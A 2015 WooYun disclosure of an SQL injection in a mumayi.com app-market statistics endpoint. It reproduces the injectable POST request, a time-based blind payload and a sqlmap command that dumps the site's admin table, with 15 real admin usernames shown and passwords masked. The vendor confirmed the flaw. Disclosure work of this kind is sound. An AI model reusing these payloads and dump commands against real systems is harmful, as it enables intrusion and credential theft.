当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139751

漏洞标题:mumayi市场统计接口SQLinjection

相关厂商:mumayi.com

漏洞作者: B1n4ry

提交时间:2015-09-08 16:18

修复时间:2015-10-24 11:02

公开时间:2015-10-24 11:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-08: 细节已通知厂商并且等待厂商处理中
2015-09-09: 厂商已经确认,细节仅向厂商公开
2015-09-19: 细节向核心白帽子及相关领域专家公开
2015-09-29: 细节向普通白帽子公开
2015-10-09: 细节向实习白帽子公开
2015-10-24: 细节向公众公开

简要描述:

意外测试到的,看到返回数据有mysql error ,就手动核实,果然是个SQLinjection,比较隐蔽。

详细说明:

POST http://xmlso.mumayi.com/v18/nodownload.php HTTP/1.1
Host: xmlso.mumayi.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
jsonapplist={"softname":"SQLin*here"}


提交的Json包中softname 存在注入,其他参数删掉了,你们自查。

漏洞证明:

python sqlmap.py -r mumayi.txt --dbms=mysql --level=3 --risk=3 -D mumayidata -T dede_admin -C userid,pwd --dump
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150818}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:46:17
[10:46:17] [INFO] parsing HTTP request from 'mumayi.txt'
custom injection marking character ('*') found in option '--data'. Do you want to process it? [Y/n/q]
[10:46:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: jsonapplist={"softname":"' AND (SELECT * FROM (SELECT(SLEEP(5)))YuDR) AND 'kaao'='kaao"}
---
[10:46:18] [INFO] testing MySQL
[10:46:18] [INFO] confirming MySQL
[10:46:18] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.21
back-end DBMS: MySQL >= 5.0.0
[10:46:18] [INFO] fetching columns 'pwd, userid' for table 'dede_admin' in database 'mumayidata'
Table: dede_admin
[15 entries]
+--------------+----------------------+
| userid | pwd |
+--------------+----------------------+
| miaoyu | AAAAAAAAAAAAAAAAAAAA |
| kiwi | AAAAAAAAAAAAAAAAAAAA |
| 331280889 | AAAAAAAAAAAAAAAAAAAA |
| admin | AAAAAAAAAAAAAAAAAAAA |
| zhaoying | AAAAAAAAAAAAAAAAAAAA |
| bailili | AAAAAAAAAAAAAAAAAAAA |
| tianwai | AAAAAAAAAAAAAAAAAAAA |
| yulanqi | AAAAAAAAAAAAAAAAAAAA |
| wangshuo | AAAAAAAAAAAAAAAAAAAA |
| admin_nic | AAAAAAAAAAAAAAAAAAAA |
| mumayibing | AAAAAAAAAAAAAAAAAAAA |
| luoyuping | AAAAAAAAAAAAAAAAAAAA |
| wujian | AAAAAAAAAAAAAAAAAAAA |
| mumayi | AAAAAAAAAAAAAAAAAAAA |
| mumayililing | AAAAAAAAAAAAAAAAAAAA |
+--------------+----------------------+
pwd字段被我打码了。

修复方案:

抓紧时间修复吧,你们更专业。

版权声明:转载请注明来源 B1n4ry@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-09 11:00

厂商回复:

感谢反馈,技术蚂蚁正在查看

最新状态:

2015-09-09:技术人员已尝试修复,谢谢@B1n4ry